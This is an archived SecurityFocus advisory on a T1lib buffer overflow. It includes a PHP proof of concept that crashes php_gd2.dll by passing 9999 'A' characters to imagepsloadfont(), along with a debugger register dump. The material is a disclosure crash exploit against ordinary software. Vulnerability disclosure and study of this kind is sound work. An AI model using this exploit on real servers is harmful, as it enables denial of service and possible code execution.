source: http://www.securityfocus.com/bid/25079/info

T1lib is prone to a buffer-overflow vulnerability because the library fails to perform boundary checks before copying user-supplied data to insufficiently sized memory buffers.

An attacker can exploit this issue to execute arbitrary machine code in the context of applications that use the affected library. Failed exploit attempts will likely trigger crashes, denying service to legitimate users.

We do not know which versions of T1lib are affected. 

<?php
/*
PHP imagepsloadfont Buffer Overflow Vulnerability

Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)

Vulnerable dll: php_gd2.dll
- Tested on WinXP SP0, PHP/5.2.3, Apache 2.2.4

The argument given was A * 9999

Access violation when reading [41414151]
----------------------------------------

Registers:
----------
EAX 77F76238 ntdll.77F76238
ECX 77C2AB33 MSVCRT.77C2AB33
EDX 01543260 php_gd2.01543260
EBX 41414141
ESP 00C0FD58
EBP 00C0FD90
ESI 41414141
EDI 00222738
EIP 77F53284 ntdll.77F53284
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 0038 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty +UNORM 7D18 00560000 00561378
ST1 empty +UNORM 2402 0012BCD0 00000001
ST2 empty +UNORM 17CD 77F516F5 FFFFFFFF
ST3 empty 0.0889391783750232330e-4933
ST4 empty +UNORM 0082 0017020C 77D43A5F
ST5 empty +UNORM 0002 77D489FF 00000000
ST6 empty 10000.00000000000000
ST7 empty 10000.00000000000000
               3 2 1 0      E S P U O Z D I
FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

Proof of concept below: 
*/

if (!extension_loaded("gd"))
	die("PHP_GD2 extension not loaded!");

$buff = str_repeat("A",9999);

$res = imagepsloadfont($buff);
echo "boom!!\n";
?>
